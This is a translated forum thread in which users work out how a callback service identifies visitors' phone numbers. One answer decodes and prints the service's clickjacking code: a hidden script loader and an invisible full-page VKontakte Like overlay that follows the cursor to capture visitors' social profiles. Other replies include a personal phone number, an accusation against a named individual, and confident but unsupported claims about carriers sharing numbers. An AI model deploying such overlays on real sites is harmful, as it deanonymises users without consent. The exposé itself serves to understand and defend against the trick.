How does admeo.ru find out the phone number?

Outoverlay2015-12-17 16:13:47

PHP

Outoverlay, 2015-12-17 16:13:47

There is a callback service. admeo.ru. Somehow I stumbled upon it, I go in from (a laptop), like bang, they call me in a minute. NATURALLY THE NUMBER DIDN'T INDICATE

Answer the question

In order to leave comments, you need to log in

13 answer(s)

Cat Anton, 2015-12-17
@Outoverlay

Clickjacking
Many articles have been written about clickjacking, including those on Habré, but nevertheless, let's look inside admeo.ru and see how they implement it.
1. There is a script in the code that literally catches the eye:
2. Decode:

(function(b,c){setTimeout(function(){
var a=document,f=a.getElementsByTagName("script")[0],
s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

3. Inside edb42a81873185696ac52e2bb4bf6eea.html:

<html>
<head></head>
<body onclick="admeoVk.click()">
<div id="vk_api_transport"></div>
<div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
<div id="myvklogin"></div>
<script language="JavaScript">
    var admeoParams = {
        token: 'edb42a81873185696ac52e2bb4bf6eea',
        apiUrl: 'http://admeo.ru/',
        appId: 4906527,
        host: 'admeo.ru',
        siteId: 15,
        cName: 'amuid'
    };

    (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
            (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
</script>
</body>
</html>

4. static.admeo.ru/assets/core/_vk.js
5. The transparent VKontakte Like button moves under the cursor and waits for it to be clicked:

window.onmousemove = function(e){
    document.querySelector('#cwvkid').style.left = e.pageX - 70;
    document.querySelector('#cwvkid').style.top = e.pageY - 12;
};

AdNahim, 2015-12-17
@alexanderkx

For me, this is not a " wow effect " (as they say on their website), but on the contrary, after such "surprises" any desire to work with a company that uses such a "bauble" disappears.
And most likely they get it from social networks. Quite common lately.

Alexander Wolf, 2015-12-17
@mannaro

Don't know. Went to them, asked to enter the number. Nobody calls.

Dmitry Evgrafovich, 2015-12-18
@Tantacula

Such services need to be added to adblock databases or their analogues so that this rubbish is not connected.

Sergey Smirnov, 2015-12-24
@fillosofik

Well, you give, they just arranged an investigation)) I'll tell you a secret how it all happens. No one takes your numbers from any social networks. I have this on one of the sites, it’s just called differently, but the principle of all these callbacks is the same.
If a person himself in this system on any other site ordered a call, then his number and name are recorded in the database, when visiting any other site where the same feedback button is used, the system already recognizes the client by name and number and invites the site owner to make a call and surprise the visitor. That's the whole secret.

grivan2, 2016-11-09
@grivan2

Good afternoon! Worked with the Admeo company for several months. Yandex saw the code on all three sites and pessimized them in the search results, explaining that this was clickjacking. Admeo was given another code, which, according to them, is not 100% caught. Yandex responded again two days later, pointing to the code. We agreed on a refund (balance 8900). Muryzhili 1.5 months, but never returned anything. This is with almost daily calls to the manager and several letters to the general director (Erdniev Maxim Borisovich)! I am responsible for the words. My phone: 8(926)089-01-78. Be careful, even if there are not big problems, Maxim Borisovich Erdniev can throw you.

evnuh, 2015-12-17
@evnuh

Apart from picking up the phone from VK:

Quber, 2017-02-06
@Quber

So many answers and none of the correct ones. You did not enter your phone number anywhere. You don't have to. There are two facts:
1. Your operator knows your phone number.
2. Your carrier knows what site you are visiting.
Further easier. Your cell phone provider gives your phone number to the site you are visiting. This is practiced by all operators, and MTS, and Beeline, and Megafon. There is a lot of information on the Internet about this. Moreover, the operator can issue you a paid subscription only on one request from the partner's site.

Alexander Litvinenko, 2015-12-17
@edli007

Most likely through a social account.

Alexander Aksentiev, 2015-12-17
@Sanasol

vboro.de/test.php for example.
Capture VK profile when clicking on the site.

Alexander Taratin, 2015-12-17
@Taraflex

Here https://github.com/romkagolovadvayha/romkagolovadv...
there is an implementation for pulling from VK

Yuri Gridin, 2019-11-05
@YraGridin

Apparently they have some kind of special algorithms for determining the number of the visitor, maybe through social networks.

Grigory Vlasov, 2019-11-06
@GrigoriyVlasov

The person himself enters his data, including the phone, but on another site that is connected to a common database, and then receives a call back on this site, where he did not leave any data.